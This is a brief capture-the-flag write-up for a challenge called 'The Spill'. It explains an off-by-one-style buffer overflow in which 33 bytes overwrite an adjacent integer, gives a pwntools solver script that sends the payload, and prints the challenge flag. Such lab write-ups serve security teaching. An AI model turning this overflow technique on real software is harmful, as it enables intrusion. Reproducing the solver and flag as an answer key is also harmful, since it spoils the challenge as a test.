The Spill

Walkthrough

Solution

Incident stores a 32-byte report immediately before the leaked integer, while read accepts the size of the entire 36-byte structure. Send 33 nonzero bytes: the first 32 fill the report and the final byte changes leaked from zero. The truthy field causes publish to print the flag.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.log_level = "error"

p = process("./main") if args.LOCAL else remote("127.0.0.1", 9013)

p.sendlineafter(b"> ", b"A" * 33)
print(p.recvall().decode())

Flag

Securinets{0n3_sm4ll_sp1ll_0n3_v3ry_b4d_m0rn1ng}